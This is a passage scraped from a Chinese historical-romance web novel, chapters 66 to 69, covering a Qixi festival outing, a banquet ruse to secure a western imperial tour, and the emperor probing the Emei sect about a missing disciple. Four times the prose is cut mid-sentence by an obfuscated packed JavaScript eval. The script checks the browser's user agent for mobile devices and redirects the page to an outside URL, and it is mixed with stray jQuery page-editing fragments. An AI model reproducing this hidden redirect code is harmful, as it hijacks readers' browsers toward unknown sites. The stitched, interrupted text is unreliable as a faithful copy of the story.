言煜将手中的几个巧果递给老阿婆,浅笑:“劳烦阿婆了。” 孤弈行长叹了一口气,右手抵着下颚:“没想到我有一天会败在这个小小的巧果上。” 言煜笑着摇了摇头,迎上孤弈行的目光,声音柔了下去:“我倒是觉得你做得挺好的,只要是你做的,我都喜欢。” 孤弈行见言煜眼神这般真诚忍不住勾唇一笑,啧了啧嘴:“你说话倒是好听。” “只要你愿意,我便一直说与你听。” 孤弈行方才微微侧目看了一眼蒸笼,回头不知言煜何时无声靠近,鼻尖轻轻掠过他的鼻梁,二人之间的空气一时几乎被抽离。 孤弈行一时竟觉得呼吸微促,耳根也有些发烫,一时退也不是进也不是。 她见言煜也有些异样,喉结微动,凤眼深处浸润了些许情绪。 “郎君娘子,巧果蒸好了!” 孤弈行听到背后老阿婆的声音身体一滞,随后向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人回到了喜蛛应巧的摊子,见已有不少人围在摊子附近。孤弈行刚站稳脚跟就迫不及待地打开木盒,却见木盒里的蛛网又窄又小,简直不忍直视,一下子如泄了气的皮球。 孤弈行还有些不死心,转身去看周围人选中的木盒里的蛛网,却是又大又圆,漂亮得紧,顿时心如死灰。 孤弈行拉了拉言煜的衣袖,苦笑道:“走吧,看来是指望不上了。” 言煜走了两步,对孤弈行道:“你等我一下。” 孤弈行不明所以,却还是双手抱胸等待,见言煜与那摊主不知说了些什么,那摊主起初有些为难,而后竟喜笑颜开,直接从盒子里取了那把西域的弯刀递到言煜手中。 孤弈行一时觉得难以置信,待言煜走近了些忍不住问:“你怎么弄来的?” 言煜勾了勾唇,卖关子道:“你猜。” 66. 情诗 “买来的?”孤弈行很快否定了自己的这个想法,朱唇微启,“不对,方才也没见你伸手去拿钱袋。” 言煜勾了勾唇,眼眸深处映着面前女子的模样:“弈行可曾听说过七夕的诗词歌赋?” 孤弈行踮起脚尖,眼神挑逗:“原来你方才是在卖才啊?” 声声入耳,言煜脸颊染了几缕红晕,声音微哑:“我……我方才为摊主作了首诗,让他赠给自己的妻子,摊主一高兴,就给我了。” 孤弈行眉眼轻扬,从言煜手中拿过那把来自西域的弯刀,而后抬眸,笑容恣意:“费心了。” 言煜定了定神,却不成想孤弈行根本没想就此作罢,反而上前一步捏住自己的下巴,他的心思顿时乱了。 “不过……焕卿方才作的是情诗吧?”孤弈行眉心微挑,压低了音量,“我倒是有点好奇,从焕卿口中说出的……是什么样的?” 言煜一时恍若坠入那双风流撩人的眸子,整个人一点点往下沉,他逐渐出了神。 孤弈行见言煜不回复,抽了抽嘴角,揶揄道:“怎么?方才文思泉涌,到了我这儿便说不出只言片语了?” “并非如此。”言煜这才回过神来,连忙否认,目光落在孤弈行身上不曾依赖:“因为是给你的,我才不会随意作诗敷衍了事。” 孤弈行这下被说服了,笑着颔首:“也是,不急于一时,我们喝酒去吧。” 话音未落,孤弈行脑海中顿时回想起一些不太美好的回忆,她拍了拍言煜的肩膀笑道:“你瞧我,差点忘了你不能喝酒了。算了,我们去喝茶吧。” 孤弈行正欲往前走去,却被言煜拉住手腕,她转过身正好迎上言煜的灼灼目光。 “今日不喝茶,就喝酒。” “啊?”孤弈行一时以为言煜是在说胡话,毕竟当年言煜一杯倒耍酒疯的场面她还仿佛历历在目,今日他却主动说要喝酒? 言煜微微俯身:“听我的,就喝酒。” 还没等孤弈行反应过来便已经被言煜拉着到了一处酒楼,孤弈行不知言煜和掌柜的说了什么,掌柜随即便让小二上了好几坛酒和下酒小菜。 孤弈行以为言煜是在自己面前逞强,但言已至此却又不好再拂他的脸面,于是便主动给自己倒了慢慢一碗酒,而在给言煜倒酒时刻意没有倒满。 言煜猜到孤弈行的顾虑,勾唇浅笑,伸手去拿酒碗而后爽快地一饮而尽。 孤弈行根本来不及阻拦,手还悬在半空,便见言煜一碗酒已然下了肚。 她顿时有些后怕,扶住言煜的肩膀,眉心微蹙:“伤好全了吗就这么喝酒?再说了,你要是倒了我怎么和夫人交代?” 言煜眉眼含情,唇角轻勾:“伤早就好全了。倒是弈行,这么担心我的酒量啊?” 酒量?孤弈行差点被气笑了,这一杯倒的酒量她能不怕吗?他倒是舒服了,到时候倒霉的可是她诶! 但是孤弈行很快发现情况有些不对,她竟发现一碗酒下肚之后言煜几乎面不改色,就连脸上的红晕也不曾见,整个人也很是清醒,没有半分醉酒的表现。 孤弈行眯了眯眼,试探道:“你竟然没醉?” 言煜笑着点了点头,眉眼之间流露出几分得意。 “但我记得你当年是一杯就倒啊!”孤弈行把玩着手中的酒碗,喝了一大口,“再说了,你当年那也不像是装的。” “当年确实一杯倒,但如今不是了,所以我能陪你一起喝。”言煜唇角含笑,伸手夹了一筷子下酒菜到孤弈行碗中。 “原来如此。莫非是因为入了官场有时不得不喝?” 言煜摇了摇头:“不是。” 孤弈行有些意外:“那是因为什么?总不能……是你喜欢上喝酒了吧?” 言煜眼尾微微上扬:“弈行,你还记不记得你我那次喝酒之前你说了些什么?” 那次……孤弈行记得那次他们二人从南风寨回京,是在一辆马车里,她为了让言煜御寒才让他喝酒。他起初拒绝,而后也就答应了,再然后就倒了。至于喝酒之前她说了些什么,她有些不记得了。 言煜见孤弈行不说话,便知晓她有些忘记了,笑着勾了勾唇:“你那时说:‘好男儿应有万丈豪情,如何能不饮酒?在我们大祁,除了稚童,皆善饮酒。’” 言煜一提醒,孤弈行想起来自己好像却是说过这话,但这与……她顿时明白了。 他练酒量不是为了应付官场,也不是自己喜欢,竟是因为她的一句话! 虽然心中有了答案,孤弈行还是忍不住开口:“所以……就只是因为我随口说的一句话?” 言煜唇角含笑,不予置否。 孤弈行心头泛起一阵酸涩,左手去拿酒坛,右手握住言煜的手,强忍着情绪道:“在这儿喝酒有什么意思?要喝自然得去屋顶喝。” 言煜任凭孤弈行拉着自己,随后一记轻云步在屋顶上坐下。 孤弈行随意躺下,见四周灯火熙攘,热闹非凡,相比之下,这屋顶上的天地却格外小,小得此刻只容得下他们二人。 言煜眺望远处灯火,缓缓开口:“当年的上元夜也是这般热闹。” 孤弈行微微颔首,脑海中仔细回想起当年上元夜的情景,似是想到了什么,模仿着言煜的语调道:“言煜唯愿我朝海晏河清,陛下能筑太平盛世,也能……寻得有情人。” 孤弈行见言煜的神色有了些变化,纵然细微,却还是被她全然捕捉。调侃得逞,她得意地勾了勾唇。 “你竟还记得。”言煜自嘲地笑了笑,“那时我以为与你此生不会再见,又因君臣之别,有些话没能说出口,但你当时便说我们还会有相见之日。” 孤弈行恣意一笑,眉眼风流:“看来我说的不错,那你又是什么时候下定决心的?” 言煜望着孤弈行目光灼灼,薄唇轻抿:“寿宴前一日。” 孤弈行记得寿宴前一日自己偷偷翻了言府的墙头躺在屋檐上看他左右手对弈,然后倦意上头也就睡着了。 孤弈行眉心微蹙,打量着言煜:莫非……他早就意识到了? “是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955048|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时先来招惹我的。”言煜与孤弈行对视,眼眸含光,不再如平日一般深浅难测。 “所以那时我就暗下决心,从此之后,我再不会放手。” 他果然知晓她来过。孤弈行勾了勾唇,撩起言煜的下巴,眼神挑逗:“哦?如何不放手?” 言煜微愣,随即感觉心头火烧火燎,耳根随即泛红。 “吾闻凤行梦,俯仰皆成风。不辞青山意,与君共揽灯。” “原来……这就是你当时想说的?” 孤弈行迎上言煜的灼灼目光,眼神毫不躲闪,俯身吻上他的唇。 他的唇今日染了几分酒意,不再如往日那般泛着凉意,却是温热非常,惹得她一时心神荡漾,情难自抑。 言煜眉眼间染了几缕微醺的红晕,伸手揽住她的腰,回应着这个吻。 孤弈行勾唇坏笑,随后伸手环住他的脖颈,在他的耳畔轻轻吹气,整个动作仿佛小猫一般挠人。她微微低头看他,见那双素来矜贵的凤眼中仿佛盛了一池秋色,水盈盈的,让人忍不住想要触碰。 “焕卿。” “嗯?”言煜微微抬眸,眉眼间红晕未散。 “其实我也有一个东西要给你。”孤弈行笑着买了个关子。 “什么?” 孤弈行从衣袖中取出一只木盒递到言煜手中,望着言煜眼神期待:“打开看看。” 言煜打开木盒,见其中放着一条古眼蹀躞带,上面的鎏金玉镶嵌银带钩精致非常,观之便知并非凡品。言煜有些意外,但嘴角却不自觉微微上扬:“怎么想起送我这个?” 孤弈行笑了笑:“在武延养伤之时闲来无事,突然想起来我们认识这么久我还没有送你什么东西,便买了这个。” “其实……那上面的带钩我本来想亲自做的,但是……”孤弈行低下了头。 见孤弈行如此神色,言煜心中顿时明了。他薄唇轻抿,眉目含情:“其实你送过我一个东西。” 孤弈行不明所以,却见言煜从腰间解下一块墨玉玉佩。 “这个不算。”孤弈行有些心虚,“当时……我是为了调查墨玉案所以找机会试探你,并不是真心要送你的。” 言煜无奈地笑了笑:“我知道。” “那我给你带上?” “好。” 孤弈行俯身小心解下言煜腰间的腰带,换上了那一条古眼蹀躞带,这下孤弈行觉得顺眼多了。 “我很喜欢。”言煜抿唇一笑。 “喜欢就好。”孤弈行笑着抬眸,却见言煜取出两张动物面具在她面前摇了两下。 孤弈行又惊又喜,结果面具仔细翻看:“这两张面具竟然和当年的那两张一模一样。” 言煜勾唇不语。 良久,言煜开口:“接下来,有什么打算?” 孤弈行放下手中的动物面具远眺,捧着酒坛道:“要想有朝一日扳倒喻威,我必须积攒属于自己的力量,而如今这些还不够。我想……回祁地看看。” “眼下,就有一个机会。” 67. 西巡 孤弈行挑了挑眉,喝了一大口酒:“你是想说……西巡?” 言煜笑着点了点头,言语之间意味深长:“每年这个时候他都会西巡,我与潭将军伴其左右,而今年正好缺一人。” 孤弈行明白言煜所指,眼下喻威以为潭胜已死,西巡缺少一人护在他身旁,她又是新封的骠骑将军,这一切似乎都是顺理成章。 但孤弈行却知实则不然,喻威手下包括贾钊在内的亲信亦为武将,要想接过西巡的差事又不显得太过刻意并没有那么容易。 言煜见孤弈行低眉不语,问道:“在想些什么?” “我在想……如何把这件事做得不留痕迹。”孤弈行坏笑着勾了勾唇。 “看来弈行心中已然有了打算。” “自我受封以来贾钊他们几个不是一直给我递请帖要给我办庆功宴吗?”孤弈行眉眼轻扬,玩味一笑,“毕竟同朝为官,我也不好让他们下不来台。言大人,你说是不是这个道理?” 言煜唇角含笑:“确实如此。” 是日回了将军府后,孤弈行写了一封信命人送到贾钊府上,说是既然盛情难却,不如畅快共饮。贾钊当即应下,随即叫上了同为喻威亲信的另外两人次日在散花楼设宴。 次日下了早朝孤弈行与言煜同行恰巧在宫门口遇上了贾钊。 相比上次在关府时的不冷不热,这次贾钊对孤弈行和言煜的态度算是来了个三百六十度大转弯。 “言相,洛将军,你说这不是巧了吗?咱们在宫门口还能碰见!”贾钊笑嘻嘻地道。 孤弈行笑着点了点头:“确实是巧。” “听闻前些日子言相受了伤,我本想去言相府上探望又怕扰了言相休息,不知眼下如何了?”贾钊微微弯着腰,关切道。 “言某的伤早已痊愈,劳烦贾将军记挂。”言煜浅笑,薄唇轻抿。 贾钊连忙笑了笑:“那就好那就好!言相吉人自有天相,自然无碍!我当时就和兄弟几个说言相人品贵重,怎会是那无影阁阁主?果然如此。” 言煜微微颔首,勾唇不语。 “那既然言相的伤已然无碍,今日我约了洛将军在散花楼,言相不如同去?” 孤弈行双手抱胸望着言煜,一副看好戏的模样。 “府中还有事,我便不去了。”言煜侧身与孤弈行对视,薄唇微启,“早些回府。” 孤弈行笑着点了点头,爽快应道:“知道了。” “既如此,言相慢走。” 贾钊微微鞠躬,一脸拍马,看得孤弈行都心生佩服。 “走吧,贾将军。” 贾钊满脸笑意:“怎能让洛将军走去散花楼呢?我为洛将军备了马车,不如乘车同往?” “贾大人有心了。”言罢孤弈行随贾钊上了马车。 孤弈行在马车上坐下没多久,便见贾钊笑着看着自己,孤弈行被看得顿时有些不自在。 “贾大人?” 贾钊这才回过神来,拍了拍大腿:“你瞧我,我方才见言相与洛将军宛若一对璧人看呆了眼,洛将军勿怪。” 孤弈行几乎没忍住笑出声来,想来面前这人拍马还真是没有瓶颈。 片刻后,二人抵达散花楼。 与往常一样,女掌柜在楼外迎客,一见到贾钊就满脸欢喜地拥上来:“贾大人,您总算来了,里面最好的包厢给您留着呢!上楼左手第二间就是!里面两位客人也都到了!” “掌柜的有心了。”贾钊忍不住笑道。 “这位是……” 因着先前与女掌柜打过照面,还惹了一日桃花债,孤弈行本不欲多事转身便想走,却见女掌柜走了过来。 孤弈行在心中长叹了口气:还真是该来的躲也躲不掉。她定了定神,勾唇道:“在下洛川。” “原来这位就是贾将军口中的骠骑将军,真是巾帼不让须眉!”女掌柜仔细打量了几眼孤弈行,眉心微蹙,“洛将军与奴家是不是在哪儿见过?奴家怎么觉得将军有些眼熟……” 孤弈行卖傻:“有吗?我前些日子才从燕州回京。京城中多有官家小姐女扮男装偷偷出来玩,莫不是掌柜的记错了。” “是啊!就连我都是请了好几次洛将军才答应的!掌柜的怎么可能见过洛将军呢?”贾钊附和道。 孤弈行勾了勾唇:这马屁精总算派了点用场。 女掌柜被说得有些糊涂,点了点头:“也是,应是奴家记错了,二位里边请。” 孤弈行和贾钊上楼之后径直走向了左手第二间的包厢,孤弈行推门而入,见里面坐着的正是那日在御书房见到的与贾钊同行的二人。 靠窗的那位年纪稍长的是卫将军陶广,此人原是襄国公手下,眼下负责护卫皇城。 而另一个塌鼻梁的则是安东将军梁右克,此人是喻威表弟,不过也是个喜欢游手好闲的,空有一身力气,却胸无大志,脑袋空空,若非与喻威有血脉关系,绝不会受到重用。 “洛将军。”二人见了洛川皆起身拱手作揖。 孤弈行见状回礼,浅笑道:“陶将军,梁将军,好久不见。” 梁右克随即主动让出面朝正南的主座,笑道:“今日是为洛将军准备的庆功宴,洛将军才是主角,自然要上座。” 孤弈行笑着推辞,最终还是在三人的相劝下坐上了主座。 孤弈行心知肚明,先前去燕州之前她与此三人可算得上是平起平坐,而今她被封骠骑将军,成了喻威面前的大红人,却是压了他们一头,成了此三人的上级,是以他们才如此急着讨好她。 但孤弈行能感觉到此三人里贾钊对她最是讨好,梁右克次之,而陶广对她最多算得上是恭敬,与其他二者不同。 至于原因,孤弈行心想无外乎是她与言煜关系匪浅,襄国公府是因言煜直言进谏覆灭,陶广又是原襄国公手下,自然对言煜心生芥蒂,连带着也不愿与她走得过近,只是如今她风头正盛,陶广也不愿得罪她罢了。 “洛将军,我们想请你出来吃饭喝酒可是不容易啊!”梁右克笑着举起酒杯。 孤弈行勾了勾唇:“什么容不容易的,之前也是因为刚回京太累了不曾休息好,便想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965368|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着之后再聚。梁兄若是介怀,洛某自罚一杯!” 梁右克受宠若惊:“洛将军如今是我等上司,将军的一句梁兄梁某担当不起啊……” 然而还没等梁右克说完,孤弈行便倒满了一杯酒而后仰头一饮而尽。 “今日都是朋友,不论官职,说起阅历来梁兄自然当得起。”孤弈行眉眼轻扬。 “既然洛将军这么说了,那梁某厚着脸皮应下了。”梁右克被孤弈行捧得一时如在云巅,忍不住笑道,“洛将军果然爽快!” 如此一来二去,酒桌上原本略显紧张尴尬的气氛被缓解了不少,三人都开始和孤弈行称兄道弟起来。 孤弈行见贾钊与梁右克脸颊微红,而陶广却没喝上几杯,便笑着道:“陶将军可是觉得这酒不合胃口?” 陶广见孤弈行向自己走来连忙起身,摇了摇头:“不是,是陶某年纪大了些怕自己不胜酒力才喝少了些。” “原来如此。”孤弈行浅笑颔首,“无妨,那陶将军便少喝些,还是身子要紧。” 陶广微愣,随即回过神来:“多谢洛将军体谅。” 这时贾钊与贾右克已然喝得差不多了,二人开始勾肩搭背。 “今日与洛将军实在是一见如故,是酒逢知己千杯少啊!”梁右克憨笑道。 “是啊……是啊……”贾钊连忙点头,说话有些口齿不清,“就连什么西巡什么其他乱七八糟事儿都抛之脑后了……” “贾兄方才说西巡?不知西巡与我等何干?”孤弈行挑了挑眉。 贾钊摸了摸嘴巴:“洛将军有所……不知,往常这个时候陛下西巡都是潭胜那老家伙守卫在侧,但而今那老家伙死了……这差事不就落到我们身上了吗?” “竟是如此,贾兄言之有理。”孤弈行点了点头,“听贾兄的意思并不想去?” 贾钊摇头晃脑道:“也不能这么说,能去自然威风……但也费力气不是?” 孤弈行恍然大悟,眉头紧皱:“想来西巡保卫陛下安全确实责任重大,一旦失察那可是大罪,若我是贾兄我自也觉得是个难做的差事。” 声声入耳,贾钊顿时如坐针毡:“是啊……这么说还是个容易掉脑袋的差事!这个烫手的山芋真是不要也罢啊……” 贾右克见贾钊望着自己,心虚笑道:“贾兄别看我啊……我家中老母身体不好,我可是万万不敢离京的!” 孤弈行唇角流露出一丝得意的笑,故作为难:“那陶将军……” 陶广连连摇头,陪笑道:“陶某奉皇命负责宫廷宿卫,只怕也是离不了京。” “这……这这……这可如何是好!”贾钊见这个烫手山芋就要烂在自己手里,急得面色涨红,“我突然想起来家父下个月五十大寿……我……” 孤弈行不语,将杯中琼浆一饮而尽,心中却暗暗发笑。 “贾兄放宽心,吉人自有天相,老天定然保佑贾兄此次西巡顺顺利利的。”梁右克拍了拍贾钊的肩膀,笑着说风凉话。 “五十大寿是大事,若是贾兄实在为难,不如……洛某替贾兄去?” 68. 峨眉 贾钊不曾想到洛川会开口,愣了一下几乎不敢相信自己的耳朵,低声道:“我……我没听错吧……方才洛将军是说要替我去?” 孤弈行笑着点了点头:“贾兄可是反悔了?” 声声入耳,贾钊顿时酒都醒了大半,猛地摇了摇头,比天上掉了个馅饼还高兴:“怎么会呢!” “又或是说陛下已然下了明旨,贾兄不好推脱?”孤弈行继续道。 “不不不!陛下并未下明旨,只是有意让我前往。”贾钊斩钉截铁道,“明日!明日陛下会在早朝上说起西巡,我今日回去就上奏折说我旧疾复发,怕是无法胜任!” 孤弈行勾了勾唇,默声不语。 “洛将军真是我贾某见过最有义气的人!简直就是我贾某的福星,今后我定为洛将军马首是瞻!”贾钊如释重负,满面春风,拿起酒杯与孤弈行相碰,“来!我敬洛将军一杯!” “都是同僚,贾将军客气了。”孤弈行恣意一笑,随即将杯中琼浆一饮而尽。 次日早朝,果然如贾钊所言,喻威提及负责西巡安全的人选时似是有些为难,贾钊,梁右克,陶广三人皆有意推辞,喻威的脸色顿时不太好看。 孤弈行知道,接下来就要到自己了。 “洛爱卿,你可愿意负责西巡安全?”喻威声音低沉,帝王威严尽显。 孤弈行假装愣了一下,上前一步憨笑道:“臣……只会带兵打仗,这负责西巡安全之事……” 喻威眸色一沉,眉眼之间染了几分愠色。 然则孤弈行话风一转:“负责西巡安全一事臣的确不擅长,但若陛下信任,臣定拼尽全力,更何况有言相在,想来也出不了差错。” 声声入耳,喻威紧皱的眉头舒展了些:“既如此,就由洛爱卿负责西巡安全。” “臣领旨。” 下朝之后,孤弈行和言煜并肩往宫门走去。 “此计确实妙。”言煜侧身与孤弈行对视,薄唇轻抿。 孤弈行眉心微挑,笑着揶揄:“能得言相一句夸赞,倒也不枉我费了一番苦心。” 言煜压低了音量:“此为一石三鸟之计。” “何解?”孤弈行扬眉一笑。 “其一,自然能顺理成章去祁地。其二,洛川算是与这三位打好了关系,甚至让他们欠了人情。这其三,便是让喻威与这三位产生了嫌隙。” 孤弈行笑:“焕卿果然懂我。不过,我还有一件事需要你来做。” “一会我会让琴潇送两封信到言府,我离京之后让人交给苏老将军还有礼部侯大人。” 言煜微微颔首:“放心。” 三日后,喻威启程西巡,言煜喻孤弈行等一行人陪同在侧。按照原计划路线,本应七日后途径祁地,而喻威却选择中途绕道峨眉,并与三日后抵达峨眉山脚下。 “原来这就是峨眉山,果然巍峨壮阔,不虚其名。”喻威走下马车,在山脚下仰望整座峨眉山,不禁感叹道。 孤弈行双手抱胸,笑容潇洒:“传说这峨眉山上有个峨眉剑派剑术一绝,莫非陛下也对江湖有兴趣?” 喻威摇了摇头,笑意渐沉:“朕对江湖并无兴趣,朝堂与江湖也素来是井水不犯河水。” 喻威顿了一顿,意味深长道:“但若是江湖插足朝堂之事,那可就怪不得朕了。” 孤弈行唇角间笑意隐去,却还是按捺住心绪不露破绽,应道:“陛下说得是。” “那儿有个擂台,陪朕过去瞧瞧。” “是。”孤弈行微微侧目与言煜对视,而后向山脚下的擂台而去。 擂台上两个江湖人士正在比武,一男一女。男的一身劲服,却也瞧不出是哪个门派的,当是游侠,至于女的一身峨眉弟子打扮……孤弈行却是瞧着那人身形有些眼熟。 孤弈行定睛一看,果然认出来那女子,那女子不是别人,正是从前她还是装疯的阿心时对她多有照顾的三师姐素娥! 孤弈行心里长叹一口气:可真是出门没看黄历,什么事都撞到一起了! 先是喻威突然提出绕道峨眉,又说了方才一番意味不明的话,眼下又遇到了老熟人素娥。 若说单有一件事或许还不奇怪,但所有事遇到一起绝非偶然。孤弈行微微敛眸,此次喻威的表现着实反常,想来是对她的身份起了疑心,想借此试探一番。 不过幸好她在幽州之时早有准备换了一张人皮面具改变了样貌,此时就算是素娥站在她面前也绝无可能轻易认出她就是阿心。 此时二人比武结束,素娥胜出。她见素娥转过身来,目光在言煜身上停留了片刻才收回。 “洛爱卿,这女子看上去是峨眉剑派的弟子,想不想与她比试一番?”喻威抿了抿唇。 孤弈行恣意一笑,毫不回避:“正有此意!” 话音未落,孤弈行一记轻云步飞上擂台,站在素娥身前,拱手浅笑:“久仰峨眉剑派弟子大名,不知洛川今日可有幸与姐姐比试一番?” 素娥隐约听得那中年男子唤面前女子“洛爱卿”,微微一愣,而后回过神来道:“自然可以。” 孤弈行手持长剑向素娥刺去,素娥侧身躲避,反手持剑,剑行似燕飞,剑落如风停,是孤弈行再熟悉不过的白眉剑法。 然则孤弈行心知肚明,此次比试输赢皆在其次,最重要的是不能露馅,是以白眉剑法和孤云平天是万不能用的,如此一来,便只剩下相对稳妥的外家功夫了。 孤弈行不与素娥缠斗,脚尖在地上用力一转,身体便飞跃而起,霎时临空一丈,待素娥反应过来孤弈行已立于其剑上,素娥欲将剑抽回,却被孤弈行生生压制住无法动弹。 “好功夫!”喻威拍手道。 孤弈行勾了勾唇,在空中一个倒翻稳稳落地,持剑向素娥逼去。素娥持剑相抵,每次却都被孤弈行持剑挑开。二人又交手了十来个会合,最终孤弈行略胜一筹。 “是我输了,我心服口服。”素娥与孤弈行对视道。 孤弈行拱手浅笑:“承让。” “方才听到诸位交谈,又见诸位气质不俗,不知……可是贵客?”素娥心中终究有些疑虑,问道。 “我们远道而来有些事请教素掌门,不知小友可否带我们与素掌门见上一面?”喻威开口道。 素娥点了点头:“诸位随我上山便是。” 言罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975519|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤弈行见素娥转身欲上山,却被喻威叫住。 “小友可是认识我身边这位?”喻威侧身望了一眼言煜,声音低沉。 素娥转身望着言煜,眼神有些躲闪,良久道:“是,先前大人来过峨眉山,也是我带大人上山的。” 素娥似是回想起什么,补充道:“当时还有阿心,是我们两个一起带大人上山的。” “阿心是?”喻威眼眸深邃。 “是一个疯疯癫癫的小丫头,她是掌门收留的弟子。”素娥低头,眉心微蹙,“这些日子倒是没再见到她了,也不知道干什么去了。” 喻威微微颔首,眸色渐沉:“原来是这样。” “焕卿,你离开峨眉山后可曾见过这阿心姑娘?” 言煜薄唇轻抿:“不曾。” “既如此,劳烦小友带我们上山。”喻威道。 “诸位请。” 一个时辰后,素娥将一行人带到了峨眉山巅渡因楼。 “诸位,渡因楼便在此处,我不便入内,就先告辞了。”素娥道。 “有劳。” 喻威抬眸见潇洒飘逸的“渡因楼”三字,还真有种超凡脱俗的意韵。 “世间万事皆有因果。”他定了定神,眼底情绪不明,“渡因楼,还真是个难得的好名字。” 喻威话音未落,孤弈行立在渡因楼牌匾下轻轻叩门。 没过多久,门从里面被打开,素朝英依旧着一身玄灰长袍,头戴素冠,见到孤弈行浅浅一笑,而后目光落在一旁的言煜身上。 “言大人,好久不见,这次想必是带了贵客登门。” 素朝英浅笑,侧目见那中年男子着一身锦袍,眉眼间却带着极强的压迫感。她观那人气度不凡,身旁又有言煜和孤弈行在此,仔细一想身份倒是并不难猜。 “我峨眉剑派与朝堂素无瓜葛,不知天子陛下此次前来所谓何事?”素朝英欠身行礼,眼神却是丝毫不惧,言语之间侠气尽显。 喻威抬眸,虽是笑着,却不见几分笑意:“既然素掌门已经识破了朕的身份,那朕也就敞开天窗说亮话了。” 喻威本以为对方会请自己入楼一坐,却不成想过了良久素朝英依旧默声不语,并无半分相邀之意,便是要在楼外与他说清楚了。 若是放在平日的朝堂,他定一怒之下定了这人的罪,但此时素朝英却是以江湖中人的身份与他交谈,是以不受朝堂规矩拘束,他也只好忍住咽下这口气。 “朕听闻这山上有个疯疯癫癫的阿心姑娘突然失踪了,素掌门可知这是怎么一回事?” 素朝英顿了一顿,随即应道:“这是峨眉剑派的私事,陛下纵然是天下之主,却也是朝堂中人,何必对江湖之事如此在意?” 孤弈行听出素朝英这话的意思是在明里暗里说喻威多管闲事,忍不住抽了抽嘴角。 喻威成为天下之处后让别人唯命是从惯了,哪里受得了这个气?他眼眸阴沉,暗藏杀气,抿唇冷笑道:“若只是江湖之事朕自不过问,但朕却是怀疑峨眉山暗藏朕所寻之人,而阿心或许就是这个人。” “素掌门一向不问朝堂之事,若是偷藏阿心,意欲何为?” 69. 真假阿心 素朝英微微抬眸:“不知天子陛下口中的所寻之人是……” 喻威抿了抿唇,眼眸深沉:“先帝……孤弈行。” 声声入耳,琴潇的右手微微攥紧,反观孤弈行只是唇边泛起丝丝冰冷的笑意。 “先帝竟然没死?”素朝英挑了挑眉,似是有些惊讶,“陛下是怀疑阿心就是先帝?” 喻威默声不语,眼睛却一直盯着素朝英的一举一动。 素朝英回过神来,直视喻威双目,语气平和:“方才陛下逼问素某,不知可是找到了证据?” “朕的手下前些日回禀这阿心姑娘是素掌门五年前带入峨眉山的,这恰好与孤弈行失踪的时间相符。”喻威眼神压迫,“而据朕所知,素掌门待阿心也与寻常弟子有所不同。这一切,素掌门是否应该给朕一个解释?” 素朝英陡然一笑,让喻威一时猝不及防。 “说了这么多,陛下不就是想见见阿心吗?素某带陛下去就是了。” 见心思被戳破,喻威眯了眯眼。他曾想过素朝英的无数种反应,但他如今见到的却是最平静的一种。对方眼中没有一丝一毫的恐慌,只剩下淡然,甚至觉得他所说有些可笑。 然而事已至此,这个阿心,他今日无论如何都得一见,因为只有这样,他才能心安。 “陛下,请吧。”素朝英道。 喻威跟在素朝英身后入了渡因楼,孤弈行和言煜紧随其后一同走入。 一进入渡因楼,喻威便感觉到刺鼻的药味扑面而来,隐隐有烟雾弥漫,越往里走药味越重,烟雾也越浓。喻威感到心头干涩,忍不住连连咳嗽。 反观一旁的素朝英却似是早已习惯,面色泰然:“陛下再忍耐一下,往里走便是了。” 喻威用衣袖捂住口鼻,有些狼狈地往里走去,没过多久果然望见一间挂满了卷轴的画室,画室中央有一年轻女子着一身素衣,双目紧闭,盘腿静坐。 “阿心。”素朝英唤道。 年轻女子缓缓睁开眼眸,侧过身来。 喻威仔细打量着面前女子,见那女子生着一双楚楚动人的杏眼,眉似柳叶,相貌虽不出众,却也极具江南女子的柔美,与记忆中她的模样截然不同。 “掌门,这是……”阿心见来者有些陌生,微微蹙眉道。 素朝英浅笑:“这是山上新来的贵客。” 阿心听罢起身行礼,声音也是温温柔柔的:“阿心见过诸位贵客。” 喻威一时微微愣住,默声不语。 一旁一直不说话的孤弈行却是双手抱胸,先开了口:“素掌门,不是说阿心姑娘疯疯癫癫的吗?怎么如今看着完全是个正常人。难道……失踪也是外面传错了?” 显然,孤弈行所问亦是喻威心中疑虑。 “失踪?那确实是那些弟子瞎传的,阿心近日并没有下过山,一直待在渡因楼中。”素朝英不禁失笑,“至于疯癫之症……未必无药可治。” “诸位方才进入渡因楼可曾感觉到楼内的特殊气味?” 